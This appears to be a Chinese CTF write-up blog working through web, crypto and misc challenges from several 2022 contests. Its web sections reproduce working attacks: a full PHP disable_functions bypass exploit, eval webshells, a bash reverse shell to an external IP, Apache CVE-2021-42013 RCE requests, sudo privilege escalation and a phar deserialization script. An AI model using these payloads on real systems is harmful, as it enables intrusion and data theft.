此时得到的文件会被下载,即可得到在目标文件夹下的文件名,于是PHPSESSID的值也得到了,直接带着得到的文件名作为PHPSESSID值的cookie访问/?page=flag即可

pwnhub内部赛五月

web

MockingMail

有源码,审一下,文件上传限制太死(文件内容转义特殊字符,文件名限制后缀)

index.php里有个

1
2
3
4
5
6
7
8
9
10
$mail->validateAddress($address = $_GET['addr'], $patternselect = $_GET['select']);

public static function validateAddress($address, $patternselect = null)
{
if (null === $patternselect) {
$patternselect = static::$validator;
}
if (is_callable($patternselect)) {
return call_user_func($patternselect, $address);
}

看一下info.php里对函数的限制,assert和eval都能用,打一下组合拳:

/index.php?addr=eval($_REQUEST[1])&select=assert
直接蚁剑连上去了,关键是命令函数还不能执行,

蚁剑插件的bypass disablefunction传不上去,github上找了个脚本绕:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
// https://github.com/mm0r1/exploits
<?php
# PHP 7.0-8.0 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=54350
#
# This exploit should work on all PHP 7.0-8.0 versions
# released as of 2021-10-06
#
# Author: https://github.com/mm0r1

pwn($_REQUEST['muhua']);

function pwn($cmd) {
define('LOGGING', false);
define('CHUNK_DATA_SIZE', 0x60);
define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);
define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);
define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);
define('CMD', $cmd);
for($i = 0; $i < 10; $i++) {
$groom[] = Pwn::alloc(STRING_SIZE);
}
stream_filter_register('pwn_filter', 'Pwn');
$fd = fopen('php://memory', 'w');
stream_filter_append($fd,'pwn_filter');
fwrite($fd, 'x');
}

class Helper { public $a, $b, $c; }
class Pwn extends php_user_filter {
private $abc, $abc_addr;
private $helper, $helper_addr, $helper_off;
private $uafp, $hfp;

public function filter($in, $out, &$consumed, $closing) {
if($closing) return;
stream_bucket_make_writeable($in);
$this->filtername = Pwn::alloc(STRING_SIZE);
fclose($this->stream);
$this->go();
return PSFS_PASS_ON;
}

private function go() {
$this->abc = &$this->filtername;

$this->make_uaf_obj();

$this->helper = new Helper;
$this->helper->b = function($x) {};

$this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
$this->log("helper @ 0x%x", $this->helper_addr);

$this->abc_addr = $this->helper_addr - CHUNK_SIZE;
$this->log("abc @ 0x%x", $this->abc_addr);

$this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;

$helper_handlers = $this->str2ptr(CHUNK_SIZE);
$this->log("helper handlers @ 0x%x", $helper_handlers);

$this->prepare_leaker();

$binary_leak = $this->read($helper_handlers + 8);
$this->log("binary leak @ 0x%x", $binary_leak);
$this->prepare_cleanup($binary_leak);

$closure_addr = $this->str2ptr($this->helper_off + 0x38);
$this->log("real closure @ 0x%x", $closure_addr);

$closure_ce = $this->read($closure_addr + 0x10);
$this->log("closure class_entry @ 0x%x", $closure_ce);

$basic_funcs = $this->get_basic_funcs($closure_ce);
$this->log("basic_functions @ 0x%x", $basic_funcs);

$zif_system = $this->get_system($basic_funcs);
$this->log("zif_system @ 0x%x", $zif_system);

$fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
for($i = 0; $i < 0x138; $i += 8) {
$this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
}
$this->write($fake_closure_off + 0x38, 1, 4);

$handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
$this->write($fake_closure_off + $handler_offset, $zif_system);

$fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
$this->write($this->helper_off + 0x38, $fake_closure_addr);
$this->log("fake closure @ 0x%x", $fake_closure_addr);

$this->cleanup();
if($_REQUEST[1]==1) #静态靶机,shell不给别人用,突出一个小气
($this->helper->b)(CMD);
}

private function make_uaf_obj() {
$this->uafp = fopen('php://memory', 'w');
fwrite($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
for($i = 0; $i < STRING_SIZE; $i++) {
fwrite($this->uafp, "\x00");
}
}

private function prepare_leaker() {
$str_off = $this->helper_off + CHUNK_SIZE + 8;
$this->write($str_off, 2);
$this->write($str_off + 0x10, 6);

$val_off = $this->helper_off + 0x48;
$this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
$this->write($val_off + 8, 0xA);
}

private function prepare_cleanup($binary_leak) {
$ret_gadget = $binary_leak;
do {
--$ret_gadget;
} while($this->read($ret_gadget, 1) !== 0xC3);
$this->log("ret gadget = 0x%x", $ret_gadget);
$this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
$this->write(8, $ret_gadget);
}

private function read($addr, $n = 8) {
$this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
$value = strlen($this->helper->c);
if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
return $value;
}

private function write($p, $v, $n = 8) {
for($i = 0; $i < $n; $i++) {
$this->abc[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

private function get_basic_funcs($addr) {
while(true) {
// In rare instances the standard module might lie after the addr we're starting
// the search from. This will result in a SIGSGV when the search reaches an unmapped page.
// In that case, changing the direction of the search should fix the crash.
// $addr += 0x10;
$addr -= 0x10;
if($this->read($addr, 4) === 0xA8 &&
in_array($this->read($addr + 4, 4),
[20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
$module_name_addr = $this->read($addr + 0x20);
$module_name = $this->read($module_name_addr);
if($module_name === 0x647261646e617473) {
$this->log("standard module @ 0x%x", $addr);
return $this->read($addr + 0x28);
}
}
}
}

private function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->read($addr);
$f_name = $this->read($f_entry, 6);
if($f_name === 0x6d6574737973) {
return $this->read($addr + 8);
}
$addr += 0x20;
} while($f_entry !== 0);
}

private function cleanup() {
$this->hfp = fopen('php://memory', 'w');
fwrite($this->hfp, pack('QQ', 0, $this->abc_addr));
for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
fwrite($this->hfp, "\x00");
}
}

private function str2ptr($p = 0, $n = 8) {
$address = 0;
for($j = $n - 1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($this->abc[$p + $j]);
}
return $address;
}

private function ptr2str($ptr, $n = 8) {
$out = '';
for ($i = 0; $i < $n; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

private function log($format, $val = '') {
if(LOGGING) {
printf("{$format}\n", $val);
}
}

static function alloc($size) {
return str_shuffle(str_repeat('A', $size));
}
}
?>

1=1&muhua=ls /

成功执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
cat /hint
flag in /root

find / -user root -perm -4000 -print 2>/dev/null

/bin/mount
/bin/su
/bin/umount
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/sudo
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

弹个shell到服务器
1=1&muhua=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F47.107.56.244%2F8083%200%3E%261%22

ls /root
permission denied

没权限,需要提权:

1
2
3
4
5
查看版本
cat /etc/issue
ubuntu16.04.7

CVE-2017-16995

找到get-rekt-linux-hardened.c,编译上传,但执行失败了

1
2
uname -a
Linux 016873026edb 5.4.0-74-generic #83-Ubuntu SMP Sat May 8 02:35:39 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

赛后:

很好,提不出,最后寄了,只能说,即使无限接近真相,没解出题目就是0分

真相就是上面使用:

find / -user root -perm -4000 -print 2>/dev/null
指令得到的东西,我也试过sudo,但缺乏经验没注意到,sudo -l查到base64指令是不需要root密码的

于是根据根目录下的hint,直接查:

1
2
sudo base64 /root/flag | base64 --decode
# flag:{awa35_546fn79rhd3ad65_54a3c6a79d}

官方似乎没考虑到assert,直接寄,官方预期解就是想利用这个函数执行点执行传文件函数,文件内容是设置的三个,email地址,用户名,密码,直接抓包传设置用户地址为base64加密的一句话,然后在任意函数执行处进行一个传

1
2
3
4
5
6
7
8
9
10
11
12
if(isset($log_name)){
$log_name = isset($log_name) ? $log_name : date('-Y-m-d');
$smtp_log = $_SESSION['smtpserver']."\n".$_SESSION['smtpuser']."\n".$_SESSION['smtppass'];
$smtp_log = htmlspecialchars($smtp_log, ENT_HTML401 | ENT_QUOTES);
$blacklists = array("php","php5","php4","php3","php2","php1","html","htm","phtml","pht","pHp5","pHp4","pHp3","pHp2","pHp1","Html","Htm","pHtml");

if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), $blacklists, true)) {
file_put_contents($log_name, $smtp_log);
$filepath = $log_path.'/'.$log_name;
echo $filepath;
}
}

做的时候想到传,但没想到怎么绕那个pathinfo,之前其实遇到过,没深入看,在地址后加一个/.即可让它返回为空,自然也就不会被黑名单拦

1
2
3
4
5
6
# 利用setting.php写入base64的马
# settings.php
POST: smtppass=VRVNUWzFdKTsgPz4%3D&smtpserver=PD9waHAgQGV&smtpuser=2YWwoJF9SRVF

# 在index.php处调用文件上传将文件传入指定shell文件,即可利用
http://121.40.89.206:25791/index.php?select=smtp_logs&addr=php://filter/convert.base64-decode/resource=smilemoonsupershellwuhu.php/.

接着对于open_basedir和命令执行的预期是打 php-imagick

通常都是利用LD_PRELOAD,mail和so文件绕过,这里mail被ban了,但其实mail函数的原理是会加载动态库函数,然后改变环境变量LD_PRELOAD,触发新进程从而劫持,执行so文件,最终达到绕过disable_functionopen_basedir执行命令的效果

具体方法就不总结在这里了,放个官方wp:
官方wp

_单身杯 ctfshow

OSINT

任性老板

web好卡,看看别的,又有社工,查看图片,提取关键字,只卖一种面,干拌面,根据口音是四川的(咱是四川人嘛)加上说的是自家的房子,那肯定是四川了,加上几个不卖,查,四川只卖干拌面,还挺有名,啥规矩最多,顺藤摸瓜,于是找到店名:左撇子私房面,然后直接搜名字,最后在大众点评上找到电话:15882424927

1
flag{左撇子私房面_15882424927}

CRYPTO

The Dancing Men

闲着也是闲着,看看密码,经典跳舞的小人,我嬲,这什么勾八flag啊怎么这么长,百度个对照表,和密文放一起,开始手动解,跳舞小人是有大小写的,举旗为大写,很快发现大写结尾为一个单词,按照意思解,单词翻译不过来就是解错了,最后解出:

1
pleasE usE underslasH betweeN everY worD witH initialS iN capitalS thE flaG iS everyonE loveS taosheN

发现前面是要求,最后一点才是flag,下划线连接,单词首字母大写,最后用格式包起来:

1
ctfshow{Everyone_Loves_Taoshen}

2022DASCTF MAY 出题人挑战赛

web

很多人出了,题目又这么明显,直接抓包

访问/check

1
Set-Cookie: admin=0;

改成admin=1带着这个cookie变量再次访问/check,出了

魔法浏览器

1
2
3
4
5
flag.txt
为保证文档安全。请使用魔法浏览器来访问。
<script type="text/javascript">
let ua = "\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30 \x28\x57\x69\x6e\x64\x6f\x77\x73 \x4e\x54 \x31\x30\x2e\x30\x3b \x57\x69\x6e\x36\x34\x3b \x78\x36\x34\x29 \x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36 \x28\x4b\x48\x54\x4d\x4c\x2c \x6c\x69\x6b\x65 \x47\x65\x63\x6b\x6f\x29 \x4d\x61\x67\x69\x63\x2f\x31\x30\x30\x2e\x30\x2e\x34\x38\x39\x36\x2e\x37\x35"; console["\x6c\x6f\x67"](ua);
</script>

十六进制解一下:

1
2
3
4
\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30 \x28\x57\x69\x6e\x64\x6f\x77\x73 \x4e\x54 \x31\x30\x2e\x30\x3b \x57\x69\x6e\x36\x34\x3b \x78\x36\x34\x29 \x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36 \x28\x4b\x48\x54\x4d\x4c\x2c \x6c\x69\x6b\x65 \x47\x65\x63\x6b\x6f\x29 \x4d\x61\x67\x69\x63\x2f\x31\x30\x30\x2e\x30\x2e\x34\x38\x39\x36\x2e\x37\x35

Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Magic/100.0.4896.75

要把UA设置成这个,没反应,照着规范的UA改一下:

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36

成这样,发包

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Magic/100.0.4896.75

getme

Apache/2.4.50 (Unix)

1
<!--  pwd:/usr/local/apache2/ -->

apache2.4.50的cve

CVE-2021-42013-Apache HTTP Server 2.4.50路径穿越流量特征

直接照着拿来用就通了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
文件读取
GET:
/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

POST:
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh

根目录的flag是假的,可以用find命令找找

echo;find / -name *fl*

/diajgk/djflgak/qweqr/eigopl/fffffflalllallalagggggggggg
/flag

同理可以找la,ag

最后在根目录一个奇怪文件夹里面找到flag(又是套题

POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: node4.buuoj.cn:25202
Content-Length: 65

echo;cat /diajgk/djflgak/qweqr/eigopl/fffffflalllallalagggggggggg

hackme

go语言的命令执行基础

第一次发.go,第二次去掉后缀再发一次,最后再选择访问/shortcuts?alias=filename

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package main

import (
"fmt"
"log"
"os/exec"
)

func main() {
cmd := exec.Command("ls","/")
out, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("combined out:\n%s\n", string(out))
log.Fatalf("cmd.Run() failed with %s\n", err)
}
fmt.Printf("combined out:\n%s\n", string(out))
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package main

import (
"fmt"
"log"
"os/exec"
)

func main() {
cmd := exec.Command("cat","/flag")
out, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("combined out:\n%s\n", string(out))
log.Fatalf("cmd.Run() failed with %s\n", err)
}
fmt.Printf("combined out:\n%s\n", string(out))
}

Dest0g3 520迎新赛

520,闲着也是闲着,不如打打简单题放松一下

web

phpdest

好像是个简单题,哦想起来了,老知识点,文件包含不能二次包含,但可以绕

知识点链接

这里是需要利用伪协议配合多级符号链接绕过:

1
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

EasyPHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);
include "fl4g.php";
$dest0g3 = $_POST['ctf'];
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
echo $fl4g;
}else{
echo "Try harder!";
}
set_error_handler(
function() use(&$fl4g) {
print $fl4g;
}
);
$fl4g .= $dest0g3;
?>

有个自定义报错函数:set_error_handler

下面有个字符串拼接:$fl4g .= $dest0g3;

直接传数组使之拼接错误,然后报错获得

SimpleRCE

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
$aaa=$_POST['aaa'];
$black_list=array('^','.','`','>','<','=','"','preg','&','|','%0','popen','char','decode','html','md5','{','}','post','get','file','ascii','eval','replace','assert','exec','$','include','var','pastre','print','tail','sed','pcre','flag','scan','decode','system','func','diff','ini_','passthru','pcntl','proc_open','+','cat','tac','more','sort','log','current','\\','cut','bash','nl','wget','vi','grep');
$aaa = str_ireplace($black_list,"hacker",$aaa);
eval($aaa);
?>

使用原生类查到flag在根目录下:

aaa=echo(new GlobIterator(‘/f*’));

然后使用逆序绕过,并且使用show_source打印出flag

aaa=show_source(strrev(‘galf/‘));

当然require也行,ban的挺少

funny_upload

啥苟muhua来咯

人不行偏怪路不平,诶,就那个纯纯的啥笔

文件上传,前端检测使用抓包发送绕过,后端拦截了文件后缀ph,使用的是Apache,所以考虑可以上传.htaccess,进行文件配置:

1
2
AddType application/x-httpd-php .abc
php_value auto_append_file php://filter/convert.base64-decode/resource=1.abc

然后上传一个马1.abc,内容是base64编码的马:

1
2
3
#<?php eval($_POST[1]);

PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+

打开1.abc文件,post传入

1=phpinfo();

禁用了命令执行,但可以使用php函数查看目录

1
2
var_dump(scandir('/'));
echo new SplFileObject("/flag");

pharpop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php
highlight_file(__FILE__);

function waf($data){
if (is_array($data)){
die("Cannot transfer arrays");
}
if (preg_match('/get|air|tree|apple|banana|php|filter|base64|rot13|read|data/i', $data)) {
die("You can't do");
}
}

class air{
public $p;

public function __set($p, $value) {
$p = $this->p->act;
echo new $p($value);
}
}

class tree{
public $name;
public $act;

public function __destruct() {
return $this->name();
}
public function __call($name, $arg){
$arg[1] =$this->name->$name;

}
}

class apple {
public $xxx;
public $flag;
public function __get($flag)
{
$this->xxx->$flag = $this->flag;
}
}

class D {
public $start;

public function __destruct(){
$data = $_POST[0];
if ($this->start == 'w') {
waf($data);
$filename = "/tmp/".md5(rand()).".jpg";
file_put_contents($filename, $data);
echo $filename;
} else if ($this->start == 'r') {
waf($data);
$f = file_get_contents($data);
if($f){
echo "It is file";
}
else{
echo "You can look at the others";
}
}
}
}

class banana {
public function __get($name){
return $this->$name;
}
}
// flag in /
if(strlen($_POST[1]) < 55) {
$a = unserialize($_POST[1]);
}
else{
echo "str too long";
}

throw new Error("start");
?>

链子不算难,上传然后打phar就行,waf直接压缩就行,关键就在于代码:

1
throw new Error("start");

会导致正常反序列化无法触发到析构方法__destruct
利用gc垃圾回收机制:回收周期(Collecting Cycles)

先构造上传/触发链子

1
2
3
4
5
6
7
8
9
10
11
12
<?php

class D {
}

$a = new D();
$a->start = 'w';
// $a->start = 'r';
$b = array(0=>$a,1=>NULL);
$c = serialize($b);
$c = preg_replace('/(i:1;)/','i:0;',$c);
echo($c);

接着构造利用链:
__destruct方法中:

return $this->name();
调用一个tree类中名为name的方法,因为tree类中不存在该方法,触发tree类中的__call方法

tree类中的name属性赋值为apple对象

$this->name->$name;
apple类中不存在name属性,触发__get方法:
$this->xxx->$flag = $this->flag;
xxx属性赋值为air对象
此时air类中不存在flag属性,赋值这个行为触发__set方法:
$p = $this->p->act;
p属性赋值为tree对象,此时:
echo new $p($value);
$p$value都可控,使用原生类直接进行文件查找与访问既可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
class air{
public $p;
}

class tree{
public $name;
public $act;
}

class apple {
public $xxx;
public $flag;
}
class banana {
}


$a = new tree();
$a->name = new apple();
$a->name->xxx = new air();
// $a->name->xxx->p = new banana();
$a->name->xxx->p = new tree();
$a->name->xxx->p->act = "SplFileObject";
$a->name->flag = "/fflaggg";
// $a->name->xxx->p->act = "GlobIterator";
// $a->name->flag = "/f*";

$phar = new Phar("phar1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$c = array(0=>$a,1=>NULL);
$phar->setMetadata($c); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
import gzip
import re
from hashlib import sha1

# 修改phar文件以绕过throw触发destruct
f = open('./phar1.phar','rb').read()
f = f.replace(b'i:1;N',b'i:0;N') # gc垃圾回收绕过throw
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
g = open('phar2.phar', 'wb').write(newf) # 写入新文件
f.close()
g.close()

url = 'url'

file = open("./phar2.phar", "rb") #打开文件
file_out = gzip.open("./phar.gz", "wb+")#创建压缩文件对象
# print(file_out)
file_out.writelines(file)
file_out.close()
file.close()
res=requests.post(
url,
data={
# 1: 'O:1:"D":2:{s:5:"start";s:1:"w";}',
1: 'a:2:{i:0;O:1:"D":1:{s:5:"start";s:1:"w";}i:0;N;}',
0: open('./phar.gz', 'rb').read()
},
)
# print(res.text)
r = re.findall("tmp/(.*?).jpg",res.text)
for i in range(len(r)):
if len(r[i])==32:
r = r[i]
print(r)

# file_get_contents触发phar反序列化
res2 = requests.post(
url,
data={
1: 'a:2:{i:0;O:1:"D":1:{s:5:"start";s:1:"r";}i:0;N;}',
0: f'phar://tmp/{r}.jpg'
}
)
print(res2.text)

CRYPTO

babyRSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from Crypto.Util.number import bytes_to_long, getPrime
from gmpy2 import next_prime
p = getPrime(1024)
q = next_prime(p)
n = p*q
flag = open('flag.txt', 'rb').read()
m = bytes_to_long(flag)
e = 65537
c = pow(m, e, n)
print(n)
print(c)
'''
27272410937497615429184017335437367466288981498585803398561456300019447702001403165885200936510173980380489828828523983388730026101865884520679872671569532101708469344562155718974222196684544003071765625134489632331414011555536130289106822732544904502428727133498239161324625698270381715640332111381465813621908465311076678337695819124178638737015840941223342176563458181918865641701282965455705790456658431641632470787689389714643528968037519265144919465402561959014798324908010947632834281698638848683632113623788303921939908168450492197671761167009855312820364427648296494571794298105543758141065915257674305081267
14181751948841206148995320731138166924841307246014981115736748934451763670304308496261846056687977917728671991049712129745906089287169170294259856601300717330153987080212591008738712344004443623518040786009771108879196701679833782022875324499201475522241396314392429412747392203809125245393462952461525539673218721341853515099201642769577031724762640317081252046606564108211626446676911167979492329012381654087618979631924439276786566078856385835786995011067720124277812004808431347148593882791476391944410064371926611180496847010107167486521927340045188960373155894717498700488982910217850877130989318706580155251854
'''

yafu分解因式

然后直接脚本算

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import binascii
import gmpy2

p = 165143607013706756535226162768509114446233024193609895145003307138652758365886458917899911435630452642271040480670481691733000313754732183700991227511971005378010205097929462099354944574007393761811271098947894183507596772524174007304430976545608980195888302421142266401500880413925699125132100053801973971467
q = 165143607013706756535226162768509114446233024193609895145003307138652758365886458917899911435630452642271040480670481691733000313754732183700991227511971005378010205097929462099354944574007393761811271098947894183507596772524174007304430976545608980195888302421142266401500880413925699125132100053801973969401

n = 27272410937497615429184017335437367466288981498585803398561456300019447702001403165885200936510173980380489828828523983388730026101865884520679872671569532101708469344562155718974222196684544003071765625134489632331414011555536130289106822732544904502428727133498239161324625698270381715640332111381465813621908465311076678337695819124178638737015840941223342176563458181918865641701282965455705790456658431641632470787689389714643528968037519265144919465402561959014798324908010947632834281698638848683632113623788303921939908168450492197671761167009855312820364427648296494571794298105543758141065915257674305081267

e = 65537

c = 14181751948841206148995320731138166924841307246014981115736748934451763670304308496261846056687977917728671991049712129745906089287169170294259856601300717330153987080212591008738712344004443623518040786009771108879196701679833782022875324499201475522241396314392429412747392203809125245393462952461525539673218721341853515099201642769577031724762640317081252046606564108211626446676911167979492329012381654087618979631924439276786566078856385835786995011067720124277812004808431347148593882791476391944410064371926611180496847010107167486521927340045188960373155894717498700488982910217850877130989318706580155251854

phi = (p-1)*(q-1)

# c = m**e %(p*q)
# m = c**gmpy2.insert(e,(p-1)*(q-1)) % (p*q)

d = gmpy2.invert(e,phi)

m = pow(c,d,n)
# print(m)

flag = binascii.unhexlify(hex(m)[2:])

print(flag)

babyAES

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Crypto.Cipher import AES
import os
iv = os.urandom(16)
key = os.urandom(16)
my_aes = AES.new(key, AES.MODE_CBC, iv)
flag = open('flag.txt', 'rb').read()
flag += (16 - len(flag) % 16) * b'\x00'
c = my_aes.encrypt(flag)
print(c)
print(iv)
print(key)

'''
b'C4:\x86Q$\xb0\xd1\x1b\xa9L\x00\xad\xa3\xff\x96 hJ\x1b~\x1c\xd1y\x87A\xfe0\xe2\xfb\xc7\xb7\x7f^\xc8\x9aP\xdaX\xc6\xdf\x17l=K\x95\xd07'
b'\xd1\xdf\x8f)\x08w\xde\xf9yX%\xca[\xcb\x18\x80'
b'\xa4\xa6M\xab{\xf6\x97\x94>hK\x9bBe]F'
'''

直接给了iv和key值,给flag赋值为c,iv和key直接赋值,直接使用:

c = my_aes.decrypt(flag)

即可得出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Crypto.Cipher import AES
import os
iv = os.urandom(16)
iv = b'\xd1\xdf\x8f)\x08w\xde\xf9yX%\xca[\xcb\x18\x80'

key = os.urandom(16)
key = b'\xa4\xa6M\xab{\xf6\x97\x94>hK\x9bBe]F'

my_aes = AES.new(key, AES.MODE_CBC, iv)

# flag = open('flag.txt', 'rb').read()
flag = b'C4:\x86Q$\xb0\xd1\x1b\xa9L\x00\xad\xa3\xff\x96 hJ\x1b~\x1c\xd1y\x87A\xfe0\xe2\xfb\xc7\xb7\x7f^\xc8\x9aP\xdaX\xc6\xdf\x17l=K\x95\xd07'

# flag += (16 - len(flag) % 16) * b'\x00'
# c = my_aes.encrypt(flag)
c = my_aes.decrypt(flag)
print(c)

MISC

Pngenius

还好,是几种常见解密方法

下载图片可以直接010打开,直接将压缩包格式的前面全部删掉并且保存为zip即可得到一个压缩包,或者稳妥点使用foremost分解出来,有加密,看了一下是真加密,于是找密码

想了想是png,就用Stegsolve打开,翻了一圈没找到,检查数据,使用的RGB最低位隐写

Password for zip
:Weak_Pas5w0rd

四叶草小活动

misc

base32解码,是压缩包文件的16进制格式,用脚本转一下存成压缩包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import socket
import binascii
import gmpy2
import pickle
import io
import sys
import base64
import subprocess
import requests
import html
import jinja2
import string
import re
import random
import json
import urllib.parse
import time
from gmpy2 import invert
from Crypto.Util.number import bytes_to_long, getPrime,long_to_bytes

a = int(0x504B03041400)

b = long_to_bytes(a)
f = open("flag.zip","wb")
f.write(b)
print(b)

打开有一个动图,随便截图,扫一下就出了

强网杯2022

web

babyweb

本题下发后,请通过http访问相应的ip和port,例如 nc ip port ,改为http://ip:port/

docker run -dit -p “0.0.0.0:pub_port:8888” babyweb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!DOCTYPE html>
<html>
<head>
<script>
var ws = null;
var url = "ws://47.93.187.169:42936/bot";
function sendtobot() {
ws = new WebSocket(url);
ws.onopen = function (event) {
ws.send("changepw 2");
}
ws.onmessage = function(evt) {
//当ws(WebSocket)请求有响应信息时执行
//注意:响应的信息可以通过evt.data获取!例如:
alert(evt.data);
ws.close();
}
</script>
</head>
<body>
<div>
<button id="fuck" type="button" onclick="sendtobot()">发送</button>
</div>
<script>
document.getElementById("fuck").click();
</script>
</body>
</html>

ezweb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

// index.php
<body>
<h1>欢迎来到强网杯照片墙</h1>

<form action="index.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交"><br>
<a href="showfile.php?f=./demo.png">查看照片</a>

<?php
$upload = md5("2022qwb".$_SERVER['REMOTE_ADDR']);
@mkdir($upload, 0333, true);
if(isset($_POST['submit'])) {
include 'upload.php';
}
?>

</form>
</body>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
// upload.php
error_reporting(0);
require_once('class.php');

if(isset($_SESSION)){
if(isset($_GET['fname'])?!empty($_GET['fname']):FALSE){
$_FILES["file"]["name"] = $_GET['fname'];
}
$upload = new Upload();
$upload->upload();
}else {
die("<p class='tip'>guest can not upload file</p>");
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
